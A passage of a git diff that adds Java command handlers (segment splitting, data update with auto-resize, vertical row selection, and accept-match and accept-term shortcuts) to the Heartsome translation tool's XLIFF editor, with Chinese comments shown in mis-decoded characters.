Messages.getString("handler.SplitSegmentHandler.msg1")); + return null; + } + int rowIndex = cellEditor.getRowIndex(); + + // 如果是垂直布局,那么 rowIndex è¦é™¤ä»¥2 --robert + if (!xliffEditor.isHorizontalLayout()) { + rowIndex = rowIndex / 2; + } + + int caretOffset = cellEditor.getRealSplitOffset(); + if (caretOffset < 0) { // 文本框已ç»å…³é—­æ—¶ + showInformation(event, Messages.getString("handler.SplitSegmentHandler.msg1")); + return null; + } + + // ä¸èƒ½é€‰æ‹©å¤šä¸ªå­—符进行分割 + String selText = cellEditor.getSegmentViewer().getTextWidget().getSelectionText(); + if (selText.length() != 0) { + showInformation(event, Messages.getString("handler.SplitSegmentHandler.msg1")); + return null; + } + + XLFHandler handler = xliffEditor.getXLFHandler(); + String rowId = handler.getRowId(rowIndex); + /* burke 修改é”定文本段ä¸èƒ½è¢«åˆ†å‰²å’Œå…‰æ ‡åœ¨æ–‡æœ¬æ®µæ®µé¦–或者段末时,ä¸èƒ½è¿›è¡Œåˆ†å‰²çš„BUG æ·»åŠ ä»£ç  èµ· */ + String tgt = handler.getCaseTgtContent(rowId); + if (null != tgt) { + if (tgt.equals("no")) { + showInformation(event, Messages.getString("handler.SplitSegmentHandler.msg2")); + return null; + } + } + + int cellTextLength = ((UpdateDataBean) cellEditor.getCanonicalValue()).getText().length(); + if (caretOffset <= 0 || caretOffset >= cellTextLength) { + showInformation(event, Messages.getString("handler.SplitSegmentHandler.msg3")); + return null; + } + /* burke 修改é”定文本段ä¸èƒ½è¢«åˆ†å‰²å’Œå…‰æ ‡åœ¨æ–‡æœ¬æ®µæ®µé¦–或者段末时,ä¸èƒ½è¿›è¡Œåˆ†å‰²çš„BUG æ·»åŠ ä»£ç  ç»ˆ */ + + cellEditor.close(); // 关闭Editor + IOperationHistory operationHistory = OperationHistoryFactory.getOperationHistory(); + try { + operationHistory.execute(new SplitSegmentOperation("Split Segment", xliffEditor, handler, rowIndex, + caretOffset), null, null); + } catch (ExecutionException e) { + e.printStackTrace(); + } + return null; + } + + private void showInformation(ExecutionEvent event, String message) throws ExecutionException { + Shell shell = HandlerUtil.getActiveShellChecked(event); + MessageDialog.openInformation(shell, Messages.getString("handler.SplitSegmentHandler.msgTitle"), message); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/UpdateDataAndAutoResizeCommandHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/UpdateDataAndAutoResizeCommandHandler.java new file mode 100644 index 0000000..6007904 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/UpdateDataAndAutoResizeCommandHandler.java @@ -0,0 +1,70 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import java.text.MessageFormat; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.UpdateDataOperation; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.edit.command.UpdateDataCommand; +import net.sourceforge.nattable.layer.DataLayer; + +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.IOperationHistory; +import org.eclipse.core.commands.operations.OperationHistoryFactory; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 修改åŽä¿å­˜å†…容并自适应大å°çš„å¤„ç† handler + * @author weachy + * @version 1.0 + * @since JDK1.5 + */ +public class UpdateDataAndAutoResizeCommandHandler extends AbstractLayerCommandHandler { + + private static final Logger LOGGER = LoggerFactory.getLogger(UpdateDataAndAutoResizeCommandHandler.class); + + private final NatTable table; + + private final DataLayer dataLayer; + + public UpdateDataAndAutoResizeCommandHandler(NatTable table, DataLayer dataLayer) { + this.table = table; + this.dataLayer = dataLayer; + } + + @Override + protected boolean doCommand(UpdateDataCommand command) { + try { + // int columnPosition = command.getColumnPosition(); + // int rowPosition = command.getRowPosition(); + // dataLayer.getDataProvider().setDataValue(columnPosition, rowPosition, command.getNewValue()); + // dataLayer.fireLayerEvent(new CellVisualChangeEvent(dataLayer, columnPosition, rowPosition)); + // + // int currentRow = command.getRowPosition() + 1; // 修改行在当å‰ä¸€å±æ˜¾ç¤ºçš„几行中的相对ä½ç½® + // table.doCommand(new AutoResizeCurrentRowsCommand(table, new int[] { currentRow }, + // table.getConfigRegistry(), new GC(table))); + + IOperationHistory operationHistory = OperationHistoryFactory.getOperationHistory(); + operationHistory.execute(new UpdateDataOperation(table, dataLayer, command), null, null); + + return true; + } catch (UnsupportedOperationException e) { + LOGGER.error( + MessageFormat.format(Messages.getString("handler.UpdateDataAndAutoResizeCommandHandler.logger1"), + command.getNewValue()), e); + e.printStackTrace(System.err); + System.err.println("Failed to update value to: " + command.getNewValue()); + } catch (ExecutionException e) { + LOGGER.error("", e); + e.printStackTrace(); + } + return false; + } + + public Class getCommandClass() { + return UpdateDataCommand.class; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/VerticalMoveRowSelectionCommandHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/VerticalMoveRowSelectionCommandHandler.java new file mode 100644 index 0000000..e87decf --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/VerticalMoveRowSelectionCommandHandler.java @@ -0,0 +1,38 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.config.VerticalNatTableConfig; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.sourceforge.nattable.selection.MoveRowSelectionCommandHandler; +import net.sourceforge.nattable.selection.SelectionLayer; + +/** + * 垂直布局下,处ç†é€‰æ‹©è¡Œç§»åŠ¨çš„ Handler。 (用户通过键盘的方å‘键移动选中行时,以三行为一个å•ä½ç§»åŠ¨) + * @author weachy + * @version + * @since JDK1.5 + */ +public class VerticalMoveRowSelectionCommandHandler extends MoveRowSelectionCommandHandler { + + public VerticalMoveRowSelectionCommandHandler(SelectionLayer selectionLayer) { + super(selectionLayer); + } + + @Override + protected void moveLastSelectedUp(int stepSize, boolean withShiftMask, boolean withControlMask) { + if (stepSize > 0) { + stepSize = stepSize * VerticalNatTableConfig.ROW_SPAN; // å¢žå¤§åˆ°æ‰€è·¨è¡Œæ•°å€ + } + super.moveLastSelectedUp(stepSize, withShiftMask, withControlMask); + XLIFFEditorImplWithNatTable.getCurrent().updateStatusLine(); + } + + @Override + protected void moveLastSelectedDown(int stepSize, boolean withShiftMask, boolean withControlMask) { + if (stepSize > 0) { + stepSize = stepSize * VerticalNatTableConfig.ROW_SPAN; // å¢žå¤§åˆ°æ‰€è·¨è¡Œæ•°å€ + } + super.moveLastSelectedDown(stepSize, withShiftMask, withControlMask); + XLIFFEditorImplWithNatTable.getCurrent().updateStatusLine(); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptmatch/AcceptMatch1.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptmatch/AcceptMatch1.java new file mode 100644 index 0000000..3cda0eb --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptmatch/AcceptMatch1.java @@ -0,0 +1,43 @@ +/** + * AcceptMatch.java + * + * Version information : + * + * Date:2012-11-13 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptmatch; + +import net.heartsome.cat.ts.ui.view.IMatchViewPart; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.PlatformUI; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class AcceptMatch1 extends AbstractHandler { + + /** (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + IViewPart viewPart = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().findView( + "net.heartsome.cat.ts.ui.translation.view.matchview"); + if (viewPart != null && viewPart instanceof IMatchViewPart) { + IMatchViewPart matchView = (IMatchViewPart) viewPart; + matchView.acceptMatchByIndex(0); + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptmatch/AcceptMatch2.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptmatch/AcceptMatch2.java new file mode 100644 index 0000000..aa62271 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptmatch/AcceptMatch2.java @@ -0,0 +1,43 @@ +/** + * AcceptMatch.java + * + * Version information : + * + * Date:2012-11-13 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptmatch; + +import net.heartsome.cat.ts.ui.view.IMatchViewPart; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.PlatformUI; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class AcceptMatch2 extends AbstractHandler { + + /** (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + IViewPart viewPart = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().findView( + "net.heartsome.cat.ts.ui.translation.view.matchview"); + if (viewPart != null && viewPart instanceof IMatchViewPart) { + IMatchViewPart matchView = (IMatchViewPart) viewPart; + matchView.acceptMatchByIndex(1); + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptmatch/AcceptMatch3.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptmatch/AcceptMatch3.java new file mode 100644 index 0000000..d60cd0d --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptmatch/AcceptMatch3.java @@ -0,0 +1,43 @@ +/** + * AcceptMatch.java + * + * Version information : + * + * Date:2012-11-13 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptmatch; + +import net.heartsome.cat.ts.ui.view.IMatchViewPart; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.PlatformUI; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class AcceptMatch3 extends AbstractHandler { + + /** (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + IViewPart viewPart = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().findView( + "net.heartsome.cat.ts.ui.translation.view.matchview"); + if (viewPart != null && viewPart instanceof IMatchViewPart) { + IMatchViewPart matchView = (IMatchViewPart) viewPart; + matchView.acceptMatchByIndex(2); + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm0.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm0.java new file mode 100644 index 0000000..b74e208 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm0.java @@ -0,0 +1,43 @@ +/** + * AcceptTerm.java + * + * Version information : + * + * Date:2012-11-19 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm; + +import net.heartsome.cat.ts.ui.view.ITermViewPart; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.PlatformUI; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class AcceptTerm0 extends AbstractHandler { + + /** (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + IViewPart viewPart = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().findView( + "net.heartsome.cat.ts.ui.term.view.termView"); + if (viewPart != null && viewPart instanceof ITermViewPart) { + ITermViewPart matchView = (ITermViewPart) viewPart; + matchView.acceptTermByIndex(10); + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm1.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm1.java new file mode 100644 index 0000000..6a93088 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm1.java @@ -0,0 +1,43 @@ +/** + * AcceptTerm.java + * + * Version information : + * + * Date:2012-11-19 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm; + +import net.heartsome.cat.ts.ui.view.ITermViewPart; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.PlatformUI; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class AcceptTerm1 extends AbstractHandler { + + /** (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + IViewPart viewPart = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().findView( + "net.heartsome.cat.ts.ui.term.view.termView"); + if (viewPart != null && viewPart instanceof ITermViewPart) { + ITermViewPart matchView = (ITermViewPart) viewPart; + matchView.acceptTermByIndex(0); + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm2.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm2.java new file mode 100644 index 0000000..62e63e0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm2.java @@ -0,0 +1,43 @@ +/** + * AcceptTerm.java + * + * Version information : + * + * Date:2012-11-19 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm; + +import net.heartsome.cat.ts.ui.view.ITermViewPart; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.PlatformUI; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class AcceptTerm2 extends AbstractHandler { + + /** (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + IViewPart viewPart = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().findView( + "net.heartsome.cat.ts.ui.term.view.termView"); + if (viewPart != null && viewPart instanceof ITermViewPart) { + ITermViewPart matchView = (ITermViewPart) viewPart; + matchView.acceptTermByIndex(1); + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm3.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm3.java new file mode 100644 index 0000000..e343cb0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm3.java @@ -0,0 +1,43 @@ +/** + * AcceptTerm.java + * + * Version information : + * + * Date:2012-11-19 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm; + +import net.heartsome.cat.ts.ui.view.ITermViewPart; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.PlatformUI; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class AcceptTerm3 extends AbstractHandler { + + /** (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + IViewPart viewPart = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().findView( + "net.heartsome.cat.ts.ui.term.view.termView"); + if (viewPart != null && viewPart instanceof ITermViewPart) { + ITermViewPart matchView = (ITermViewPart) viewPart; + matchView.acceptTermByIndex(2); + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm4.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm4.java new file mode 100644 index 0000000..1db75b8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm4.java @@ -0,0 +1,43 @@ +/** + * AcceptTerm.java + * + * Version information : + * + * Date:2012-11-19 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm; + +import net.heartsome.cat.ts.ui.view.ITermViewPart; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.PlatformUI; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class AcceptTerm4 extends AbstractHandler { + + /** (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + IViewPart viewPart = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().findView( + "net.heartsome.cat.ts.ui.term.view.termView"); + if (viewPart != null && viewPart instanceof ITermViewPart) { + ITermViewPart matchView = (ITermViewPart) viewPart; + matchView.acceptTermByIndex(3); + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm5.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm5.java new file mode 100644 index 0000000..a32d468 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm5.java @@ -0,0 +1,43 @@ +/** + * AcceptTerm.java + * + * Version information : + * + * Date:2012-11-19 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm; + +import net.heartsome.cat.ts.ui.view.ITermViewPart; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.PlatformUI; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class AcceptTerm5 extends AbstractHandler { + + /** (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + IViewPart viewPart = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().findView( + "net.heartsome.cat.ts.ui.term.view.termView"); + if (viewPart != null && viewPart instanceof ITermViewPart) { + ITermViewPart matchView = (ITermViewPart) viewPart; + matchView.acceptTermByIndex(4); + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/handler/acceptterm/AcceptTerm6.java 